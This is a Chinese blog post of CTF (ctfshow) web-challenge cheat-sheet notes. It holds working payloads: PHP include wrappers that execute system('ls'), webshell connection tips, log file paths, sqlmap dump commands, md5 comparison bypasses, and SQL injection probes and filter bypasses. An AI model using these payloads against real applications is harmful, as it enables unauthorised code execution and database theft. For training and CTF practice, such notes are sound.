ctfshow——web(总结持续更新)
文章目录
- 1、基础知识部分
- 2、php伪协议
- 2.1 php://input协议
- 2.2 data://text/plain协议
- 3、webshell连接工具
- 3.1 蚁剑连接一句话木马
- 4、各个web中间件重要文件路径
- 4.1 Nginx
- 5、sqlmap使用
- 6、php特性
- 6.1 md5加密漏洞
- 7、TOP 10漏洞
- 7.1 SQL注入
1、基础知识部分
- 识别base64编码:大小写+数字,偶尔最后几位是= or ++
2、php伪协议
2.1 php://input协议
关于php://input,简单来说:当php://input与include连用时,数据包中的post字段将会当做php代码执行。
# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>
2.2 data://text/plain协议
关于data://text/plain,简单来说:当data://text/plain与include连用时,data://text/plain后面接着的数据会被当做php代码执行。
?url=data://text/plain,<?php system('ls');?> #
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式
3、webshell连接工具
3.1 蚁剑连接一句话木马
如果蚁剑报错:unable_to_verify_leaf_signature,是证书的原因,目前的解决方法是将URL中的https改为http。

4、各个web中间件重要文件路径
4.1 Nginx
# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径
5、sqlmap使用
sqlmap常用命令:
python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数
6、php特性
6.1 md5加密漏洞
- md5
0e漏洞:就是说在使用md5()和==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。 - 当使用
md5()和===进行变量对比的时候, 使用数组可以绕过md5()函数的检测。 - md5 true参数漏洞
md5($string, true)对ffifdyop、129581926211651571912466741651878684928可以得到'or'结构的字符串。
7、TOP 10漏洞
7.1 SQL注入
SQL注入常见的测试方法就是:
- 在参数后面加个
',看返回包是否报错; - 使用万能密码
1' or 1=1 --+,看返回包有没有反应。
登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。
SQL注入绕过:
1、空格被过滤
# 空格被过滤
username=1'or(true)# # 用(true)代替1=1
username=1'/**/or/**/1=1/**/# # 用内联注释(/**/)代替空格##经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/# 正常返回
id=1'/**/and/**/1=2/**/# 数据未返回,存在SQL注入##或者
id=1'/**/and/**/(true)/**/# 正常返回
id=1'/**/and/**/(false)/**/# 数据未返回,存在SQL注入##或者
id=1'/**/or/**/(false)# 返回一条数据
id=1'/**/or/**/(true)# 返回当前表里的所有数据
2、单引号被过滤
# 单引号被过滤
双引号代替单引号
3、with rollup(虚拟表)绕过
# with rollup(虚拟表)绕过
group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。

相关文章:
ctfshow——web(总结持续更新)
文章目录 1、基础知识部分2、php伪协议2.1 php://input协议2.2 data://text/plain协议 3、webshell连接工具3.1 蚁剑连接一句话木马 4、各个web中间件重要文件路径4.1 Nginx 5、sqlmap使用6、php特性6.1 md5加密漏洞 7、TOP 10漏洞7.1 SQL注入 1、基础知识部分 识别base64编码…...
selinux介绍和Linux中的防火墙
selinux 1、selinux的说明 2、selinux的工作原理 3、selinux的启动、关闭与查看 防火墙 1、什么是防火墙 2、iptables (1)iptables介绍 参数说明 3、firewalld firewalld-cmd的参数说明...
Jenkins面试整理-如何配置 Jenkins Pipeline?
在 Jenkins 中配置 Pipeline 是将构建、测试、部署等流程自动化的重要方式。Pipeline 可以通过一个名为 Jenkinsfile 的文件配置,它允许你使用脚本定义流水线。下面是如何在 Jenkins 中配置 Pipeline 的详细步骤。 步骤 1: 准备 Jenkinsfile Jenkinsfile 是 Jenkins Pipeline …...
Java每日刷题之二分算法
34. 在排序数组中查找元素的第一个和最后一个位置 - 力扣(LeetCode) 转化 通过题目时间复杂度为O(logN),我们就可以联想到二分算法,但是我们前面学到的算法,是查找出,有序数组里的值,并不是求其中的范围&a…...
【mod分享】极品飞车9仿虚幻引擎模组,支持光追,高清纹理材质,体验一会虚幻引擎风格的极品9
各位好,今天小编给大家带来一款新的高清重置MOD,本次高清重置的游戏叫《极品飞车9最高通缉》。 《极品飞车:最高通缉》作为一款2005年的游戏,《极品飞车:最高通缉》的画面效果还是可以的,效果全开之后很不…...
【启程Golang之旅】并发编程构建简易聊天系统
欢迎来到Golang的世界!在当今快节奏的软件开发领域,选择一种高效、简洁的编程语言至关重要。而在这方面,Golang(又称Go)无疑是一个备受瞩目的选择。在本文中,带领您探索Golang的世界,一步步地了…...
微信小程序的开发流程
微信小程序开发流程 1. 注册微信小程序账号 进入微信公众平台(mp.weixin.qq.com),选择小程序的账号类型按照流程进行注册。注意每个邮箱只能注册一个账号。 2. 下载开发工具 使用账号登录微信公众平台,在开发->开发设置-&g…...
十分钟快速让你搞懂 Vue3 和 React 的区别
前言 Vue 3和 React是市面上目前非常受欢迎的两个前端框架。它们都采用了组件化的开发模式,使得开发者可以将复杂的应用拆分为多个小组件进行开发,从而提高了代码的可维护性和重用性。然而,虽然Vue 3和React都拥有各自的优点,但它…...
头歌——机器学习(线性回归)
文章目录 线性回归简述答案 线性回归算法答案 线性回归实践 - 波斯顿房价预测LinearRegression代码 利用sklearn构建线性回归模型示例代码如下: 代码 线性回归简述 简单线性回归 在生活中,我们常常能碰到这么一种情况,一个变量会跟着另一个变…...
AI驱动无人驾驶:安全与效率能否兼得?
内容概要 如今,人工智能正以其神奇的魔力驱动着无人驾驶的浪潮,带来了无数令人兴奋的可能性。这一领域的最新动态显示,AI技术在车辆的决策过程和实时数据分析中发挥着重要作用,帮助车辆更聪明地应对复杂的交通环境。通过实时监测…...
使用Git LFS管理大型文件
💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 使用Git LFS管理大型文件 引言 Git LFS 简介 安装 Git LFS 安装 Git 安装 Git LFS 配置 Git LFS 初始化 Git 仓库 指定需要使用…...
OpenAI终于正式上线搜索功能,搜索行业要变天了?
OpenAI 的 AI 搜索功能也将引发一场激烈的竞争。 各大科技公司都不会坐视不理,他们必然会纷纷加大对 AI 搜索技术的研发投入,试图在这个新兴的领域分一杯羹。这就像是一场没有硝烟的战争,各方势力都在暗中较劲,谁能笑到最后&…...
ssm《数据库系统原理》课程平台的设计与实现+vue
系统包含:源码论文 所用技术:SpringBootVueSSMMybatisMysql 免费提供给大家参考或者学习,获取源码看文章最下面 需要定制看文章最下面 目 录 目 录 I 摘 要 III ABSTRACT IV 1 绪论 1 1.1 课题背景 1 1.2 研究现状 1 1.3 研究内容…...
Java SpringBoot调用大模型AI构建AI应用
本文是一个用springboot 结合spring mvc 和spring ai alibaba 调用国产大模型通义千问的具体例子,按照这个做能够快速的搞定Java应用的调用。 然后就可以把这类应用泛化到所有的涉及到非结构化数据结构化的场景中。 Spring AI:简化Java中大模型调用的框…...
MySQL【二】
查询列 SELECT [ALL | DISTINCT ] * | 列名1[,……列名n] FROM 表名; 查询所有选课学生的学号,结果去除重复值 select distinct sno from sc; 选择行 查询满足条件的数据集 SELECT 字段列表 FROM 表名 WHERE 查询条件 查询不属于数学系或外国语系的学生全部信息 …...
SQL 常用语句
目录 我的测试环境 学习文档 进入数据库 基础通关测验 语句-- 查 展示数据库; 进入某个数据库; 展示表: 展示某个表 desc 查询整个表: 查询特定列: 范围查询 等于特定值 不等于 介于 特定字符查询 Li…...
前端埋点系统之如何用heatmap.js画网页热力图
Hello,大家好。在当今数字化时代,理解用户行为成为了企业成功的关键之一。随着互联网的发展,用户与网站、应用和产品的互动变得愈发复杂而多样化。在这样的背景下,埋点系统成为了洞察用户行为的重要工具之一。而其中的热力图分析&…...
CentOS 7系统下Redis Cluster集群一键部署脚本发布
引言 在大数据和云计算时代,Redis作为一款高性能的键值存储数据库,广泛应用于各种场景。然而,手动搭建Redis Cluster集群过程繁琐且容易出错。为了简化这一过程,本文提供了一个在CentOS 7系统下Redis Cluster集群的一键部署脚本,帮助开发者快速搭建Redis Cluster集群。 …...
自编以e为底的对数函数ln,性能接近标准库函数
算法描述: (1). 先做自变量x的范围检查,不能出现负数和0. 自己使用时,如果能通过其它途径保证自变量为正,那么可以省略这两个判断,提高速度。 (2). 根据IEEE 754浮点数的格式,,则 ln(x)kln(2)ln…...
Java中的日期时间
JDK8之前常用的日期时间类 System.currentTimeMillis():获取当前毫秒数(long类型) java.util.Date:通用Date类 import java.util.Date;Date date new Date(); // 空参构造器 System.out.println(date.getTime()); // 获取当前时…...
优化算法中的‘0.618’魔法:黄金分割法为何是工程优化的首选入门工具?
黄金分割法:从古希腊美学到现代工程优化的优雅解决方案 在工程优化领域,算法选择往往让初学者感到困惑。面对梯度下降、牛顿法等复杂方法,有一种源自公元前300年的数学比例——黄金分割比(0.618),却成为了…...
腾讯混元翻译模型HY-MT1.5-1.8B:免费开源,企业级翻译解决方案
腾讯混元翻译模型HY-MT1.5-1.8B:免费开源,企业级翻译解决方案 1. 引言 1.1 为什么选择HY-MT1.5-1.8B 在全球化的商业环境中,语言障碍成为企业拓展国际市场的首要挑战。腾讯混元团队推出的HY-MT1.5-1.8B翻译模型,以其18亿参数的…...
Vue 3.4+ 实验性/新特性深度实战(2026版)
一、背景:从“稳定”到“极致体验”截至 2026 年,Vue 3.4 与 3.5 已全面普及,但许多能显著降低心智负担的特性(如 defineModel)在早期被标记为“实验性”,或仅在 3.5 才完全稳定。如果你还在写“Pr…...
Phi-3-mini-4k-instruct-gguf多场景:覆盖个人提效、团队协作、客户支持全链路
Phi-3-mini-4k-instruct-gguf多场景:覆盖个人提效、团队协作、客户支持全链路 1. 认识Phi-3-mini-4k-instruct-gguf Phi-3-mini-4k-instruct-gguf是微软Phi-3系列中的轻量级文本生成模型GGUF版本。这个开箱即用的工具特别适合处理日常工作中的文本任务,…...
MyBatis批量更新避坑指南:从`<foreach>`拼接SQL到`allowMultiQueries`配置的完整流程
MyBatis批量更新实战:从基础实现到性能调优全解析 批量更新操作是后端开发中绕不开的高频需求,但很多开发者在初次接触MyBatis批量更新时,往往会陷入各种"坑"中。本文将带你系统掌握两种主流实现方案,从基础用法到性能优…...
Windows右键菜单效率革命:ContextMenuManager极简操作与深度定制指南
Windows右键菜单效率革命:ContextMenuManager极简操作与深度定制指南 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 每天面对电脑上杂乱的右键菜单&…...
仙侠H5手游【九州封魔劫代金券内购版】服务端图文搭建教程(含资源下载+部署过程)
游戏截图搭建环境信息 系统:Centos 7.6 内存:4G 处理器:2核 注意事项 复制代码需要通过浏览器打开文章才不会报错 搭建资源获取 百度网盘:https://pan.baidu.com/s/1wmz7RegQGBaNrYYVbuJqgg?pwdkdn4 解压密码:www.won…...
避坑指南:在K210上跑人脸68关键点,这些细节让你的疲劳检测更准
K210人脸疲劳检测实战:68关键点调优与工程化避坑指南 当你在车载监控或工业安全场景部署基于K210的疲劳检测系统时,是否遇到过这些情况?明明按照开源代码跑通了68关键点检测,但实际场景中闭眼判断总是不准;白天阳光直射…...
Cogito v1预览版3B模型实战体验:超越Llama/DeepSeek的混合推理能力
Cogito v1预览版3B模型实战体验:超越Llama/DeepSeek的混合推理能力 1. 模型概览与核心优势 1.1 什么是Cogito v1预览版 Cogito v1预览版是Deep Cogito推出的混合推理模型系列,这个3B参数的版本在多项基准测试中表现优异。与传统的语言模型不同&#x…...
源码级重构与低代码交付:企业级 AI 视频管理平台的二次开发实战
作为一位在安防行业摸爬滚打 10 年的架构师,我经常被集成商朋友的灵魂拷问:“有没有一套代码,既能直接拿去给客户演示(低代码),又能让我根据客户需求改得‘面目全非’(深度定制)&…...
